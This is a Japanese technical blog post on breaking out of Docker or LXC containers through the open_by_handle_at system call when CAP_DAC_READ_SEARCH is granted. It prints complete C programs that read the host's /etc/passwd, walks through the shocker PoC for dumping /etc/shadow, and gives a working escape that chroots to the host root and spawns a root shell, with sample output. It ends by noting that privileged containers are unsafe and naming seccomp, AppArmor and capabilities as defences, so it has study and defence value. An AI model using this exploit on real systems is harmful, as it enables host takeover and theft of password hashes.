August 19, 2018

open_by_handle_at(2) でコンテナから Break Out する

俺たちの夏休みはこれからだ!(今日が最終日)


前回は ptrace を使用して seccomp による制限を回避してみた
今回は seccomp とコンテナの関係、コンテナからホストへの break out についてのメモ。

コンテナと seccomp

LXC や Docker でも seccomp が利用されており、コンテナを break out する危険があるようなシステムコールを禁止している。

LXCでは非常に小さなポリシーとなっている。

2
blacklist
reject_force_umount  # comment this to allow umount -f;  not recommended
[all]
kexec_load errno 1
open_by_handle_at errno 1
init_module errno 1
finit_module errno 1
delete_module errno 1

カーネルに関する kexec_load*_module などが禁止されていることが分かる。

Docker は結構いろいろある。

しかし open_by_handle_at とは何なのだろうか?

open_by_handle_at

Linux におけるケーパビリティには色々あるが、 CAP_DAC_READ_SEARCH と呼ばれるものがあり、これはファイルの読み出し権限のチェックとディレクトリの読み出しと実行の権限チェックをバイパスするもので、 open_by_handle_at はこれを持っている。
つまり、コンテナ内で open_by_handle_at によってマウントされたファイルを掴み、ホストの別のファイルにもアクセスすることができる。
open_by_handle_at の定義は以下。

int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);
  • mount_fd : マウントされたファイルシステム内におけるファイルディスクリプタ
  • file_handle : file_handle 構造体
  • flags : open(2) と同じ

file_hadnle 構造体は以下のような定義となっている。

struct file_handle {
    unsigned int  handle_bytes;   /* Size of f_handle [in, out] */
    int           handle_type;    /* Handle type [out] */
    unsigned char f_handle[0];    /* File identifier (sized by caller) [out] */
};

f_handle[0] は全部で8bitで先頭4bitが inode を、後半 4bitが generation number を表す。

この open_by_handle_at を利用してホスト側のファイルを読み出したり、シェルを取得したりしてみる。

環境

CAP_DAC_READ_SEARCH を許可した状態で試す必要がある。

$ docker run -rm -ti --cap-add=DAC_READ_SEARCH centos:7 /bin/bash
or
$ docker run -rm -ti --privileged centos:7 /bin/bash

ホスト側のファイルを読み出してみる

open_by_handle_at を利用してホスト側の /etc/passwd をコンテナ内から読み出してみる。
まずはホストの /etc/passwd の inode 番号を調べてみる。

$ stat /etc/passwd
  File: '/etc/passwd'
  Size: 1798            Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 57690       Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-08-14 11:56:58.112000000 +0000
Modify: 2018-06-27 12:07:24.368738000 +0000
Change: 2018-06-27 12:07:24.368738000 +0000
Birth: -

inode 番号は 57690 であることがわかる。これを Hex に変換して file_handle 構造体の f_handle[0] に与えればよい。

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>


void die(const char *msg)
{
  perror(msg);
  exit(errno);
}

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};

int main()
{
  int fd1, fd2;
  char buf[0x1000];

  struct my_file_handle h = {
    .handle_bytes = 8,
    .handle_type = 1,
    // 57690 = E1 5A
    .f_handle = {0x5a, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
  };

  // $ mount
  // /dev/sda1 on /etc/hosts type ext4 (rw,relatime,data=ordered)
  if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
    die("failed to open");

  if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
    die("failed to open_by_handle_at");

  memset(buf, 0, sizeof(buf));
  if (read(fd2, buf, sizeof(buf) - 1) < 0)
    die("failed to read");

  fprintf(stderr, "%s", buf);
  close(fd2);
  close(fd1);
  return 0;
}

これを実行すると /etc/passwd を取得することができる。

root@container:/# gcc a.c
a.c: In function 'main':
a.c:41:3: warning: incompatible implicit declaration of built-in function 'memset'
   memset(buf, 0, sizeof(buf));
   ^

root@container:/# ./a.out
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(snip)...
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
colord:x:113:119:colord colour management daemon,,,:/var/lib/colord:/bin/false

また、 CAP_DAC_READ_SEARCH を許可しない状態だと Operation not permitted で落ちて、アクセスできないことが確認できる。

root@container:/# ./a.out
failed to open_by_handle_at: Operation not permitted

コンテナから任意のファイルの inode を探索し内容を読み出す

ホストから読み出したいファイルの inode 番号が分からなければいけないのか、というとそうでもない。 多くの場合、/ (ルートディレクトリ) の inode は 2 であり、これを起点に走査していくことで、任意のファイルの inode を取得できる。

$ stat /
  File: '/'
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 801h/2049d      Inode: 2           Links: 26
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-08-15 06:35:07.118000000 +0000
Modify: 2018-08-15 06:35:07.062000000 +0000
Change: 2018-08-15 06:35:07.062000000 +0000
 Birth: -

これを利用したのが CVE-2014-3519 で shocker と呼ばれるもので、以下の PoC は /etc/shadow を読み出すものである。

この内容をざっと見ていく。

まずは file_handle 構造体に走査する起点である / (inode 番号は2) を指定する。

struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

ホスト側からマウントされたファイルを開いてファイルディスクリプタを取得する。

if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
    die("[-] open");

/etc/shadow を開くために inode などを検索、 file_handle を取得する。

if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
    die("[-] Cannot find valid handle!");

find_handle() は以下のような定義になっている。

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)

ここでは再帰的に呼ばれていて、まずは、ディレクトリであるかどうかを確認して、そのディレクトリ名を出力している。

if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
		die("[-] open_by_handle_at");

	if ((dir = fdopendir(fd)) == NULL)
		die("[-] fdopendir");

	for (;;) {
		de = readdir(dir);
		if (!de)
			break;
		fprintf(stderr, "[*] Found %s\n", de->d_name);
		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
			ino = de->d_ino;
			break;
		}
	}

対象の inode が見つかると再度 open_by_handle を呼び出して、generation number を総当たりで確認していくが、0 で問題ないっぽいので一瞬で終わる。

if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
        outh.handle_bytes = 8;
        outh.handle_type = 1;
        memcpy(outh.f_handle, &ino, sizeof(ino));
        memcpy(outh.f_handle + 4, &i, sizeof(i));

        if ((i % (1<<20)) == 0)
            fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);

        if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
            closedir(dir);
            close(fd);
            dump_handle(&outh);
            return find_handle(bfd, path, &outh, oh);
        }
    }
}

最後に無事対象のファイルのパスを解決したら、データを読み出す。

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
    die("[-] open_by_handle");

    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0)
	    die("[-] read");

    fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

ホスト側のシェルを取得する

この方法を利用してコンテナから root 権限のシェルを取得することができる。 ホスト側のファイルディスクリプタを掴んでいるので、fchdirchroot を使うことで break out することができる。

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
#include <ctype.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


struct my_file_handle {
	unsigned int handle_bytes;
	int handle_type;
	unsigned char f_handle[8];
};

void die(const char *msg)
{
	perror(msg);
	exit(errno);
}

int main()
{
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
  };

  int fd, mfd;
  mfd = open("/etc/hosts", 0);

  if (mfd == -1)
    die("failed to open");

  fd = open_by_handle_at(mfd, (struct file_handle *)&root_h, 0);
  if (fd == -1)
    die("failed to open_by_handle_at");

  printf("opened %d\n", fd);
  fchdir(fd);
  chroot(".");
  system("sh -i");
  close(fd);
  return 0;
}

readlink /proc/$$/ns/mnt の結果はホスト側は 4026531840 でコンテナ側は 4026532281 であることがわかる。
上記コードを実行するとコンテナを break out してホスト側のファイルシステムを自由に触れるようになる。

host:~# readlink /proc/$$/ns/mnt
mnt:[4026531840]

container:~# readlink /proc/$$/ns/mnt
mnt:[4026532281]

container:~# gcc test.c
container:~# ./a.out
opend 4
# whoami
root
# readlink /proc/$$/ns/mnt
mnt:[4026531840]

ところで、こういうコンテナからホストへ脱出するのって jailbreak, escape, break out のうちどれが適切なんですかね。

備考

ptrace を使用して seccomp による制限を回避してみる で書いたように、ptrace を使用することで seccomp による制限が回避可能であるため、これを組み合わせることで open_by_handle_at が seccomp によって禁止されていても breakout 可能となる。
そのため、俗に言う Privileged なコンテナというのは安全ではない。
コンテナの Attack Surfaces は数多くあるため、 seccomp だけでなく AppArmor や Linux Capability などの機構を用いることで安全性を高めている。

参考

このエントリーをはてなブックマークに追加

© Kouhei Morita 2018